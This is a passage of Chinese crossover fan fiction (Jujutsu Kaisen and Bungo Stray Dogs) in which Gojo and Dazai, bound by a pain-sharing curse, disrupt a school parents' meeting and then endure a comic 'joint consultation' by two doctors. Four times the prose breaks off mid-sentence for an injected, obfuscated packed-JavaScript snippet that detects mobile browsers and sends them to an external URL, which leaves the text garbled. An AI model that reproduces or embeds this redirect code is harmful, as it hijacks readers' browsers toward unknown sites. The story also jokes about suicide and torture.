就在指尖即将触碰到皮肤的那一刻,一股令人窒息的熟悉压迫感,同时扼住了两人的喉咙! “咳……咳咳……”他们同时松手,踉跄着后退一步,剧烈咳嗽起来。 该死的链接! 五条悟恶狠狠地瞪着同样在喘气的太宰治,对方却回以一个无辜又欠揍的眼神。 训练最终不了了之。 五条悟没注意到,在他转身去取咖啡时,太宰治拿起他随手放在桌上的“家长手册”,飞快划拉了几下。 家长会当天,咒术高专的会议室里坐满了人。家长们衣着体面,低声交谈着,目光不时瞟向自己孩子的成绩单,或是别人家的家长。 这种相对正常的氛围,在五条悟和太宰治一前一后走进来时,瞬间凝固了。 走在前面的男人身材高挑得过分,一头白发嚣张地竖着,墨镜遮住了大半张脸,却遮不住那股“老子天下第一”的气场。他穿着价值不菲的休闲装,不像来开家长会,倒像误入此处的超级模特。 跟在他身后的青年同样惹眼,黑色西装衬得他肤色愈发苍白,鸢色眼眸半阖,带着一种慵懒又疏离的气质。脸上挂着的微笑恰到好处,却莫名让人联想到,覆盖在深潭上的薄冰。 几个敏锐的家长不自觉地皱了皱眉,下意识地,把椅子往远离他们的方向挪了挪。 夜蛾正道站在讲台后,看到这两人组合,嘴角抽搐了一下。他深吸一口气,努力忽略他们,开始了开场白。 会议按部就班地进行着,夜蛾介绍学校整体情况,各科老师开始轮流发言。 大部分时候,五条悟都在下面用手机打着游戏。太宰治则始终保持着一个略显僵硬的乖巧坐姿,目光放空,仿佛神游天外。 直到夜蛾点到了太宰治的名字。 “太宰同学,作为插班生,还适应高专的学习和生活吗?” 太宰治闻声起身,动作流畅地鞠了一个标准九十度躬,再抬头时,脸上那抹微笑,变得愈发“真诚”而“腼腆”。 “非常感谢夜蛾校长的关心,”他的声音清朗温和,语调甜腻得能滴出蜜来,“我在高专过得非常愉快。同学们都热情友爱,老师们更是学识渊博,耐心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389689|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细致。尤其是五条老师,”他侧过头,看向五条悟,眼神充满了“感激”,“对我格外照顾,让我感受到了家一般的温暖。” 那句“格外照顾”咬得又轻又慢,带着一种微妙意味。几个家长下意识地看向五条悟。 五条悟正忙着通关,听到自己被cue,头也不抬地挥挥手,大言不惭,语气得意:“应该的,毕竟是我的人。” 夜蛾的眉头跳了一下,强忍着不适,只想快速略过这个环节:“……适应了就好。请坐,下一位……” “等一下!” 五条悟突然举起手,像课堂提问的小学生一样积极,没等夜蛾同意,就站了起来,一把抢过话头。 “夜蛾校长说得都对!”他声音洪亮,轻松吸引了全场目光,“我们家治君啊,虽然基础差了点,脑子怪了点,兴趣爱好特殊了点——比如,特别热爱深入研究各种死亡方式的艺术性和哲学内涵——” 台下响起几声抽气声,几位家长的脸色开始发白。 “……但还是很有潜力的嘛!”五条悟完全无视了气氛变化,继续滔滔不绝,“至于成绩嘛……哎呀,快乐教育最重要,分数都是浮云。就像喜久福,外表干瘪不重要,内涵甜美才是王道。说到喜久福……” 他话锋一转,看向夜蛾,表情严肃起来,“校长,学校食堂的甜品水准亟待提高啊!这直接影响了师生们的幸福指数和教学质量!还有体育设施,我觉得后山那块空地,完全可以增设一个蹦极台,辅助进行勇气训练和重力加速度体验,治君肯定特别喜欢!” 太宰治很配合,露出一个向往又乖巧的表情,用力点头。 夜蛾放在讲台上的手,开始微微发抖,台下死寂一片。 伏黑惠坐在学生区,默默地把脸埋进了手掌里,耳朵尖通红。 虎杖悠仁则双眼放光,小声对钉崎说:“五条老师好帅!敢这么跟校长说话!” 钉崎回给他一个眼神,直接明了:“你没救了”。 就在这时,一位坐在前排、衣着华丽的女士,大概是某个咒术师家族的代表,开始略带得意地炫耀自己儿子本学期祓除的咒灵数量,语气矫揉造作。 太宰治听得无聊,目光游离,放在桌面下的手指无意识地,顺着自己的大腿外侧,轻轻划了一下。 动作轻得像羽毛拂过。 隔壁的五条悟突然僵住了。 一股完全陌生的细微战栗感,像一缕微弱电流,猝不及防,窜过他的四肢百骸,最后汇聚于同一处皮肤之下。 不痛,甚至算不上难受,却带来一种让人头皮发麻的刺激感。 他喉结滚动了一下,差点发出一声怪响,强行咽了回去。墨镜后的眼睛,难以置信地转向太宰治。 太宰治依旧看着前方,侧脸线条平静无波,仿佛什么都没发生。只有眼底深处,掠过一丝恶劣的兴奋光芒,就像发现了新玩具。 他知道了,他立刻就知道是怎么回事了。 9. 第9章 会议冗长,五条悟确实快憋疯了,他用六眼无聊地扫描全场,从家长们的微表情,分析到天花板上的裂缝,最后又落回旁边,装模作样的太宰治身上。 这家伙脸上挂着无可挑剔的微笑,可当礼仪范本,甚至有些过分乖巧,跟个认真听讲的好学生似的。 但五条悟笃定,那绷带包裹下的脑回路里,此刻绝不是在复盘校长语录, 果然,突如其来的陌生感觉,让刚放松须臾的五条悟,瞬间咬紧后槽牙。他用眼神传递着死亡的威胁:你敢再动一下试试? 太宰治似乎感受到了他杀人的视线,终于微微偏过头,迎上他的目光,眼神纯洁无辜,清澈懵懂,能映出五条悟此刻“迫害良民”的气质。 然后,在五条悟死死瞪视下,他的指尖,又轻轻动了一下。这一次,甚至带上了一点若有若无的缓慢刮擦,非常刻意。 “呃!” 五条悟控制不住地从喉咙里,挤出一声短促闷哼,身体剧烈一震,试图避开那看不见的触碰,膝盖突然撞上了桌腿,发出“咚”的一声蠢响。 全场目光,同时聚焦到他身上。 “五条老师?”夜蛾皱着眉头看他,语气带着警告和不耐。 “……没事!”五条悟从牙缝里挤出两个字,坐直身体,脸色黑得能滴墨。 他压低声音:“太、宰、治……你、找、死、吗?” 太宰治微微倾过身,用只有两人能听到的声音回应,语气里全是虚假的关切:“五条先生,您看起来不太舒服?是链接又有什么新功能了吗?需要我以‘突发恶疾’为由,帮您向校长申请提前退场吗?” 语气十分无辜,让人火冒三丈。 旁边一位看起来颇为严肃的家长,投来怀疑的目光,在这对举止古怪的“监护人”和“学生”之间,来回扫视。 五条悟深吸一口气,强迫自己冷静下来。这笔账他记下了,绝对要讨回来。 刚才的感觉提醒了他——是啊,这破链接还真是雨露均沾,既然痛觉能共享,那别的轻微不适,看来亦能。 于是,五条悟偷偷抬起手,用修剪整齐的指甲,在自己的左臂内侧,轻轻划过。 几乎是同时,身旁的太宰治僵了一下。 太宰治脸上的完美笑容未变,甚至眼神都没有偏移,但搁在桌下的手指,却微微收紧了。 五条悟墨镜后的眼睛瞬间亮了起来,有效。他准备再来一回,这次力度稍微加重,轨迹更长,务必让那青花鱼体验一下什么叫…… 然而,就在他的指甲,即将再次触碰到皮肤时…… “哐!” 太宰治似乎是因为“坐久了腿麻”,非常“自然”地调整了一下坐姿,膝盖“一不小心”,重重撞在了面前的金属桌腿上,发出又一声清晰闷响,一听就是好腿。 五条悟倒抽一口冷气,一股毫不留情的痛感,从膝盖炸开,顺着链接,凶猛地撞进他的感知里,盖过了那点微不足道的痒意。 他绷直身体,差点从椅子上弹起来,上演瞬移。 周围的家长再次被声响惊动,投来疑惑的目光。 夜蛾也停顿了一下,视线暗含雷霆,扫过他们这边。 太宰治这才调整好姿势,仿佛刚意识到,自己造成了多大动静,甚至还用气音轻轻说了句“抱歉”。 五条悟磨着后槽牙,透过墨镜,瞪着太宰治那张完美无瑕的侧脸。 对方甚至吝于给他一个眼神,全身心都写着“我在认真开会”的乖宝宝模样。而膝盖余痛还在隐隐作祟,提醒着他,刚才吃了多大一个暗亏。 一场幼稚的报复战,就在这严肃的家长会课堂上,悄然展开。 五条悟不服输地再次尝试,这次他故意清了清嗓子,喉结滚动——链接另一端,太宰治的咽喉部位,立刻传来一阵细微干痒,逼得他不得不强行抑制住咳嗽的冲动,耳根微微泛红。 太宰治立刻反击,指尖“无意地”,快速划过自己腰侧——一种过电般,混合着痒和轻微刺麻的感觉,让五条悟差点骂出声。 你来我往,悄无声息。感官成了武器,神经成了战场。 五条悟试图通过轻轻按压眼球,制造酸胀感,太宰治则回报以悄悄捏自己指尖,带来针刺般的微痛。 两人表面上风平浪静,甚至还能对夜蛾的话点头示意,桌子底下却已是刀光剑影,通过这条该死的链接,进行着一场荒谬绝伦的感官攻防战。 周围的家长只觉得,这对师生之间的气氛有点说不出的古怪,那白发高大男人,似乎坐得越来越僵硬;而那个模样俊秀、缠着绷带的学生,虽然一直微笑着,但偶尔细微的肌肉紧绷和呼吸变化,总让人觉得,他是不是有什么难以启齿的隐疾。 伏黑惠坐在学生区,将这一切尽收眼底,死鱼眼里,充满了绝望和麻木。 最终,太宰治略胜一筹。 当五条悟试图寻找下一个恶作剧时机时,太宰治发现,只需要持续用指甲,刮擦自己手背的一小块皮肤,便会产生细微又连绵不绝的痒意。通过链接传递过去后,似乎格外能搅乱对方的注意力,让五条悟变得烦躁不安,却又无法精准定位,到底是哪里不对劲。就像有只看不见的小虫子,在不停地爬,非常扰心。 五条悟确实被这种骚扰弄得火大,偏偏又无法发作。他扭头瞪向太宰,却只对上对方一个堪称纯良,且带着询问意味的眼神,似乎在说“老师,您一直看我,是我脸上,有教育事业的未来吗?” 台上的夜蛾已经处于爆发的边缘,他努力无视下面的小骚动,试图将会议拉回正轨。 然而五条悟的报复心和不甘示弱的天性,很快就占了上风。为了扳回一城,或者,纯粹是为了给夜蛾添堵,他再次举手,更加大声地提出了一个“建设性意见”: “校长!我觉得,我们学校还缺一个重要社团——校园自杀预防互助小组。我认为,由经历过深刻哲学思考,对此颇有研究的治君来担任组长,再合适不过了。这一定能大大提升我校的心理健康建设水平,以及人文关怀底蕴!” 一片寂静。 如果说刚才的气氛是尴尬,那么现在,就是彻底的冰封。所有家长的表情,都像是生吞了苍蝇,又被迫参加了苍蝇的追悼会。 夜蛾正道最后的忍耐消失殆尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389690|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “五——条——悟——” 伴随一声惊天动地的怒吼,夜蛾的拳头狠狠砸在了坚硬的木质讲台上! “咔嚓!”厚重的实木讲台,从中间应声裂开一道巨大缝隙。 “你给我闭嘴!” 夜蛾额头青筋暴起,怒吼声震得窗户都在嗡嗡作响,“还有太宰治!把你那该死的……不知道在干什么的小动作给我停下来!” 整个会议室鸦雀无声,落针可闻。家长们被校长这突如其来的狂暴,吓得噤若寒蝉。 伏黑惠把整张脸都埋进了胳膊里,只想原地消失,虎杖和钉崎也惊呆了。 太宰治瞬间收回了所有表情和动作,正襟危坐,双手乖巧地放在膝盖上,眨着眼睛,仿佛刚才的一切,都与他无关,纯洁得像朵白莲花。 五条悟揉了揉被吼得发痒的耳朵,撇撇嘴,居然还敢小声嘀咕:“哎呀,校长,注意血压嘛。家长会要和谐友爱,动手动脚的多不好……对了,维修费会从教师福利里扣吗?” 夜蛾气得浑身发抖,指着门口的手指都在颤:“滚出去……你们两个……都给我滚出去!” 最终,家长会以这场前所未有的闹剧,草草收场。 家长们神色各异地匆匆离去,经过五条悟和太宰治身边时,都绕着走,好像他们是什么生化污染源。 伏黑惠低着头快步往外走,太宰治却笑眯眯凑了过去:“嗨,惠君。” 伏黑惠脚步一顿,抬起头,眼里生无可恋,他看了看太宰,又看了看旁边一脸“老子没错”的五条悟,用疲惫的声音说道: “你们俩,真是绝配。” 太宰治笑容更深了:“谢谢夸奖,惠君也很可爱呢。” 五条悟则被夜蛾黑着脸,拎去了校长室,进行“再教育”。 十分钟后,五条悟一脸不爽地从校长室里出来。 太宰治正等在门外,于是被他拽着胳膊,几乎是用拖的,塞进了车里。 “好玩吗?”车子发动,五条悟立刻兴师问罪,墨镜后的眼神危险地眯起。 太宰治降下车窗,让傍晚的风吹乱他的头发,语气轻浮:“您指什么?我只是在认真开会,并适时表达对师长的感激之情。是五条先生您自己突然……反应过度。”他顿了顿,意有所指地补充,“不过……似乎确实发现了一点……链接的小特性。” 他发现,对于这种细微却持续的不适感,链接似乎传递得格外清晰,几乎难以屏蔽,且扰敌效果更好——这可比单纯的痛觉,有趣多了,也……更有操作空间了。 五条悟被噎得说不出话,只能猛踩油门,用速度发泄怒火。 太宰治的目光掠过窗外街景,忽然,他的视线在一个正准备上车的中年男人身上,停顿了一瞬。 那个男人穿着得体,表情沉默,看上去,与其他家长无异。但他手腕露出的那一小截皮肤上,似乎有一个模糊的深色纹身图案。 那图案的结构有点眼熟,但车速太快,只是一瞥,无法确定。 太宰治眯起眼睛,默默将那男人的侧脸,记在了心里,如又一个……通往混沌世界的坐标。 10. 第10章 回到那间勉强称之为“家”的临时宿舍,太宰治几乎是迫不及待地,扯下了那身令他倍感束缚的西装。感觉脱掉的不是衣服,而是一层伪装的皮。 接着,他熟练地拿起一卷绷带,开始用白色棉纱重新包裹自己的身体,动作优雅,近乎一种仪式,只是透着股病态美感。 然后,他才从那件被丢弃的西装内袋里,慢条斯理地抽出一张皱巴巴的纸。 那是从五条悟那本“家长手册”上,撕下来的扉页。当时,五条正被夜蛾吼得愣神,于是他就本着“废物利用,信息共享”的原则,顺手牵羊了。 这张纸乍一看,仿佛承载着两个精神病患的内心世界: 纸张空白处,有他自己画下胡乱涂鸦——各种扭曲小人,疑似鹤见川的水波纹等,充分表达了当时的百无聊赖。 除此之外,还有五条悟无意识涂画的一些东西——几个甜品名字,“毛豆生奶油万岁”、“喜久福是神”等中二留言;一个丑了吧唧、戴着小圆墨镜的简笔画火柴人,旁边标注了“老子”;还有一小幅简化的高专区域布局图,但关键建筑,标注得意外清晰。 在地图的一角,一个不起眼的、似乎是图书馆后方,旧馆区的位置,被红笔重重地圈了一个圈。 太宰治拿着这张纸,走到窗边。 夕阳余晖给他侧脸镀上一层暖色金光,却照不进他深邃的鸢色眼眸。 他低头看着那个红圈,指尖轻轻点在上面,嘴角勾起,带着一抹兴趣盎然。 “监护人游戏……似乎也不全是无聊嘛。看来除了气死校长和互相投毒之外,还能挖出点意想不到的彩蛋。”他低声自语道。 行动派的太宰治从不拖延。 就在这个深夜,万籁俱寂中,他如融入阴影的夜行动物,悄无声息溜进了高专那所……号称“看管森严”的古籍禁书库。 这里灰尘弥漫,全是陈腐与咒力残留的气息。无数厚重典籍挤在书架上,纸页脆黄,书脊上布满晦涩难懂的禁术符号,和早已失传的文字,似乎饱经风霜。 他指尖掠过一排排书脊,终于,在一个蛛网密结,阴暗得连月光都不愿眷顾的角落,发现了一本残破古籍。 那本古籍只剩下一半,封面撕裂,内页泛黄卷边,可怜兮兮的,像是被怀着巨大恨意或者恐惧,粗暴对待过。 他刚把它抽出来,一页纸便悄然从夹缝中滑落,飘旋着,坠向地面,似乎曾被人在仓促间狠狠撕下。 太宰治弯腰拾起它,借着窗外微弱的光线,他凝神看向纸面—— 那上面绘着一个非常诡异的图腾。 双头蛇纠缠互噬,扭曲狰狞,形成一个充满暴力与矛盾的闭环,外边由许多复杂古老的文字所环绕。蛇瞳处,点着暗红色朱砂,即便历经岁月,依然鲜活如初,透着不祥邪气。 图案并不完整,似乎还有另一半,但仅存的这部分,其形态和核心的纹路……与他锁骨下,那个日夜搏动的咒印,以及夜蛾收到的那封匿名信背后的标记,惊人得相似! 太宰治捏着这半张残页,指尖能感受到,其上留有微弱咒力残留。 四下里寂静无人,只有尘埃,在微弱光柱中缓慢漂浮。他站在禁书库浓重阴影里,眼底最后一点戏谑,已然消失殆尽。 这条意外发现的破碎线索,像一把钥匙,锈迹斑斑,却异常关键。轻轻一拧,就能在未来某天,撬开那扇通往一切阴谋与痛苦的沉重大门。 但他不是乐于分享的慈善家,至少不是立刻分享。独享秘密,是他的乐趣之一,尤其这种……能让某个嚣张白毛抓狂跳脚的珍贵秘密,直接给出去多没意思,会失去慢慢品尝、欣赏对方渴望眼神的乐趣。 第二天,咒术实战课上,五条悟正用“苍”戏耍着几只可怜的二级咒灵,把它们当乒乓球一样,弹来弹去,引得虎杖悠仁大声叫好。 太宰治懒洋洋地靠在场边,看了他们一会儿,忽然开口道: “五条先生,您对‘双生蛇’图案有研究吗?” 五条悟动作一顿,一只咒灵差点撞上他后背,被他随手拍飞。 他转过身,墨镜滑下鼻梁,六眼盯住太宰:“……你从哪儿听来的这个词?” “唔,只是偶然间,看到点有趣的东西,”太宰治晃了晃手指,笑容纯良又欠揍,“突然想起来,似乎和某个总爱给我惊喜的诅咒有点关系。可惜啊,只有一半,看得人心痒痒。” 五条悟瞬间出现在他面前,身影带着压迫感:“东西在哪?” “哎呀,这可是我辛苦找到的私人收藏呢。不如……我们打个赌?给知识标价,才显得它珍贵是不是?”太宰治眨眨眼。 “赌什么?” “就赌……”太宰治的目光扫过训练场,最后落在虎杖悠仁身上。 少年刚刚祓除完咒灵,正擦着汗,望着他崇拜的老师,眼神热烈明亮。 “一分钟内,您能不能只动用体术,让活力无限的悠仁君,连您的衣角都碰不到。赢了,我就把我知道的,所有关于那个丑不拉几图案的信息,都告诉您。输了嘛……您就得答应我一个无伤大雅的小要求。” 一旁的虎杖悠仁:“……” 突然被卷入最强级别的博弈,他有点懵。 五条悟嗤笑:“一分钟?你以为我是谁?” 他对自己有着绝对的自信。 “赌了。” 结果毫无悬念。 虎杖悠仁拼尽全力,甚至用上了假动作和地面滑铲,却连五条悟的袖口都没摸到。 时间到,五条悟站回原地,气定神闲,连呼吸都没乱。 “好了,青花鱼,愿赌服输。东西,还有你知道的一切。”五条悟伸出手,得意地挑眉。 太宰治叹了口气,像是很遗憾的样子,演技略显浮夸,然后从口袋里,掏出那半张残破纸页,递了过去:“喏,在高专那个……灰尘能埋人的古籍室里找到的,看着眼熟吗?” 五条悟接过残页,六眼对焦其上的图腾,瞬间高速运转,将每一个细节——那双头蛇纠缠的诡异角度、古老文字的每一笔刻痕——都与记忆中的印记,进行细致比对…… 结论很快得出:分毫不差! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389691|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的脸色沉了下来。 “你什么时候发现的?” 太宰治微笑:“昨天晚上。看来,给我们送礼的那位朋友,品味很复古啊。” 五条悟捏着残页,立刻转身就走,只丢下一句:“伊地知,看好他!别让他再靠近禁书库,还有任何看起来超过五十年历史、可能写着字的东西,统统隔离!” 半小时后,校长室内,夜蛾正道盯着那半张残页,面色凝重:“‘双生縛’……果然是这种东西。但记载太少了,只有这点,无法得到更多信息。” 家入硝子凑过来看了看,打了个哈欠:“哦,这个啊,禁书库里好像是有相关记载,残破不全,而且大部分关键部分都被撕了,或者烧了,跟被人刻意灭迹似的。原理不明,解法更不明。” 她看向五条悟,“怎么,你想深入研究?我建议,别抱太大希望。希望越大,失望时砸坏的仪器就越贵。” 五条悟烦躁地抓了抓头发:“总不能坐以待毙,等着这玩意儿哪天爆雷,把我们都炸上天吧?硝子,你最擅长这个,有什么想法?” 硝子叼着烟,思索片刻,目光在五条悟和跟进来的太宰治之间,扫了个来回:“光靠咒术侧的知识,可能不够。这链接古怪得很,既像诅咒,又有点像某种共生契约,还掺和了灵魂层面的东西……或许需要点外力刺激,或者换个角度研究。” 她弹了弹烟灰,抛出提议:“武装侦探社那个女医生,与谢野晶子,她的异能‘请君勿死’涉及生命力的极致逆转,某种程度上,触碰到了规则边缘。或许可以请她过来,我们一起做个联合会诊,从异能和咒术两个角度,同时刺激观察这个链接,说不定,能发现点新东西。” “与谢野医生?”太宰治脸上的笑容瞬间僵硬了。 五条悟也想起了那位女医生,以及某些关于“死亡后才能治疗”的恐怖传闻,嘴角抽了抽:“……等等,硝子,你确定那是‘会诊’,而不是‘分尸现场体验’?” 夜蛾正道沉吟了一下,觉得有理:“目前没有更好的方向。尝试与异能者合作,或许能打开新局面。我这就联系福泽社长。” 太宰治和五条悟几乎异口同声: “其实我觉得还可以再观察一下!” “我觉得我的身体还能再坚持一下!” 硝子闻言,挑起眉毛,露出一个极其罕见的表情,带着明显嘲讽意味:“哦?两位,‘最强’和‘人间失格’,是在害怕一位娇小的,救死扶伤的女医生吗?” 她故意拖长了调子,“真是……令人意想不到的胆小啊。” 五条悟:“……” 太宰治:“……” “谁怕了?” “只是对非科学的治疗手段保持合理质疑!” “会诊是吧?好啊!现在就安排!” “正好让她见识一下,什么叫最强的体质!” 激将法,对这两个在某些方面异常幼稚的男人,效果拔群。 于是,一场名为“联合医学研究”,实则为“人间酷刑体验”的会议,就此敲定。 11. 第11章 咒术高专的医务室,此刻,更像某个疯狂科学家的非法实验基地,或者屠宰场临时分场。 两种截然不同的医疗风格,在此激烈碰撞,泾渭分明,又同样令人胆寒。 一边,是家入硝子。她依旧是那副熬夜过度的慵懒模样,白大褂松松垮垮,指尖夹着的烟燃了一半,烟灰将落未落,但她手中的手术刀,却稳得惊人。 她的领域整洁、高效,唯一噪音,就是器械碰撞的轻微金属声。 另一边,是与谢野晶子。她脸上洋溢着近乎狂热的兴奋,那把标志性的巨大电锯靠在墙边,但她手里挥舞着的其他器械,同样让人头皮发麻。 她的领域充斥着力量感、破坏欲,以及一种“治不死就往死里治”的豪迈气势。 而被绑在中间两张特制病床上的,正是本次会诊的唯二病患,兼实验品——五条悟和太宰治。他们此刻更像砧板上的两块顶级和牛,等待被解剖研究。 “所以,二位专家的初步结论是,常规手段无法切断这奇妙的链接?”森鸥外正通过视频远程观摩,声音透着看好戏的愉悦。 与谢野轻笑一声:“在医学的伟大征程上,常规就是用来打破的。尤其是对付这种不讲道理的诅咒,就得用更不讲道理的方法!” 她目光灼灼地看向床上两人,像在思考,从哪里下刀比较痛快。 硝子吐出一口烟圈:“物理层面,链接已深度神经网络化,强行剥离,等同于同时对两人,进行超高精度脑叶白质切除术,成功率极低,且大概率造成不可逆的认知功能障碍——通俗讲,会变成两个快乐的傻子。咒力层面,它表现出极强的适应性和排异性,反转术式会被吸收或扭曲。” 她弹了弹烟灰,总结道:“硬来不行,得巧取。” “巧取?比如让这位女壮士,用那玩意儿,给我开颅‘巧取’?”五条悟用眼神示意了一下与谢野的电锯,虽然被束缚带固定着,但语气依旧嚣张。 “注意你的措辞,小白脸。”与谢野咧嘴一笑,“它叫‘爱心天使’,是我的得力助手。” 太宰治叹了口气,眼睛里写满生无可恋:“我说,两位美丽的南丁格尔,有没有可能……我们采取保守治疗?比如顺应自然,优雅地等待它自行消散,或者等我们其中一位自然死亡?我个人随时准备为医学进步献身。” “否决。” “没门。” 硝子和与谢野异口同声,态度坚决,看他们的眼神像看逃课的小学生。 “那么,开始吧。先从基础痛觉神经反应测试开始。” 硝子将烟蒂按熄,戴上无菌手套,手术刀在她指尖转出一朵银花。 与谢野抓起那个巨大的注射器:“同意。同步进行高刺激耐受性测试,数据对比才有意义。” 接下来的时间,成为了五条悟和太宰治人生中,最为漫长而恐怖的“治疗”体验。 实验一:共享反馈。 硝子用极细的探针,刺入太宰治手臂某处神经末梢密集点。 轻微刺痛传来,几乎同时,隔壁床五条悟的小臂同一位置,肌肉突然抽搐了一下,他“啧”了一声。 与谢野见状,立刻拿出那个看起来能给大象打针的玩意,对着五条悟的胳膊就扎了下去——并非注射,只是物理挤压刺激。 五条悟闷哼一声,额角跳了跳:“力度不错,够资格给我挠痒痒了。” 另一边,太宰治的手臂瞬间浮现出一块明显淤青,他倒吸一口凉气:“五条老师,您的痛觉阈值,低得令人同情……” “完美同步。”与谢野兴奋记录。 “神经信号传递无损衰减,甚至略有放大。”硝子冷静补充。 两人对视一眼,眼中同时燃起更盛的研究之火。 实验二:深度痛觉阈值测定。 硝子拿起一把小巧却锋利的骨钻,看向太宰治,语气毫无波澜:“可能会有点吵。忍一下,或者不忍也行,数据我需要。” 太宰治:“等……” “嗡——” 钻头启动,擦过太宰治的肋骨表面,一阵令人牙酸的摩擦声,伴随着尖锐剧痛炸开! “呃——” 五条悟绷紧身体,束缚带深深勒进肌肉,全身瞬间渗出冷汗,仿佛那骨钻正刮在他的骨头上! “停!硝子你……” 与谢野默契十足。 “试试这个!高频振动筋膜刀,深度松解,效果超群!”她拿起一个类似小型角磨机的东西,直接按在了五条悟的背阔肌上。 五条悟身体剧震,咒力差点失控暴走。 “这他妈叫……放松??” 太宰治则感觉,自己像扔进了碎石机,每一寸肌肉都在被疯狂撕扯、碾压,痛得他眼前发黑,连哼都哼不出来。 两张床上,两位天花板级别的强者,此刻像离水的鱼一样挣扎喘息,汗如雨下。 实验三:与谢野提议的“休克疗法”。 “极端痛苦有时能激发潜能,重置系统!破而后立,向死而生,这是医学的哲学!”与谢野举起探头,上面还闪烁着噼啪蓝色电光。 “等等……”五条悟和太宰治第一次露出了近乎惊恐的表情。 已经晚了,探头分别按上了两人的太阳穴…… 下一秒,仿佛灵魂被撕裂的剧痛和麻痹感,淹没了他们的所有感官!眼前一片煞白,耳边是亿万只蜜蜂的尖叫,每一个细胞,都在哀嚎! 五条悟喷出一口鲜血,纯粹是身体应激反应。 太宰治则像被抽掉了所有骨头,瘫软下去,瞳孔涣散。 链接另一头,反馈而来叠加的痛苦浪潮,将两人彻底淹没,形成了闭环。 医务室里,终于暂时安静下来,只剩下仪器滴滴答答的声音,和两人的粗重喘息。 与谢野看着仪器上爆表的数据,满意点头:“反应剧烈,生理指标突破安全阈值三次,完美!” 硝子按着眉心,看着自己这边屏幕上乱跳的咒力波动图:“咒力链接活跃度提升,负面情绪能量吸收效率显著增高……这算治疗,还是喂养?” 良久,五条悟才从那种濒死般的体验中,缓过一口气,声音沙哑得厉害:“喂……你们两个……是想谋杀最强……和他的绑定奶吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389692|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 太宰治气若游丝,却还能接话:“五条先生……请注意用词……谁是谁的绑定奶还不一定呢……而且,听起来很恶心……” 与谢野和硝子完全无视了病人的投诉,埋头激烈讨论起来。 “看来物理刺激效果显著,但副作用过大!” “咒力对冲呢?用你‘请君勿死’的能量,冲击链接节点试试?” “好主意!但需要先让他们处于濒死状态,才能触发我的异能!” “这个简单,交给我。”硝子拿起了手术刀。 五条悟&太宰治:“……我们觉得还可以再观察一下!” 最终,这场医术与异能的恐怖比拼,在福泽社长和夜蛾校长的紧急叫停中,暂告一段落。 显然,高层也担心,这两个家伙真被自家医生给治没了。 虽然两位医生都意犹未尽。 与谢野一边收拾她的“爱心天使”系列工具,一边对瘫在床上的两人说:“基础数据收集得差不多了。下次,我们可以尝试一些更深层次的‘联合疗法’,比如,同步器官摘除再植体验!” 两人脸色同时一白。下次?绝对没有下次! 硝子则相对温和些,她用反转术式,给两人简单处理了一下“治疗”留下的痕迹,主要是防止他们真的挂掉。 会诊,或者说酷刑体验,终于结束。 五条悟和太宰治瘫在病床上,仿佛两条失去梦想的咸鱼。 硝子叼着新点的烟,翻看着记录板上密密麻麻、常人根本看不懂的数据和波形图,眉头微微蹙起。 与谢野晶子则在一旁,兴致勃勃地保养着她的电锯。 过了片刻,硝子吐出一口烟圈,打破了沉默:“综合来看,‘双生缚’的活性远超预期。刚刚的‘治疗’过程中,我能感觉到……它在主动汲取东西。” 五条悟目光锐利起来:“汲取什么?” 硝子:“痛苦、愤怒、恐惧……这些强烈的负面情绪,是它最明显的食粮。每一次你们同步感受到极致痛苦时,它的活跃度和稳固性都在飙升。” 她停顿少许,语气变得意味深长: “但可能不止这些,一些更复杂的情绪波动,或许也在它的菜单上。只是被痛苦掩盖了,不容易察觉。喂饱它,它可能会变得更强,更难以分割。但饿着它……谁知道它会不会反过来吞噬宿主呢?真是个麻烦的东西。” 与谢野补充道:“它不仅在稳定吸收你们产生的情绪能量,似乎还在学习和适应。” 硝子用笔尖点了点图表上的几个峰值:“数据显示,每次强烈的感官共享,尤其是刚才那种极端刺激后,链接的咒力通道都会拓宽一点点,稳定性也有所提升。” 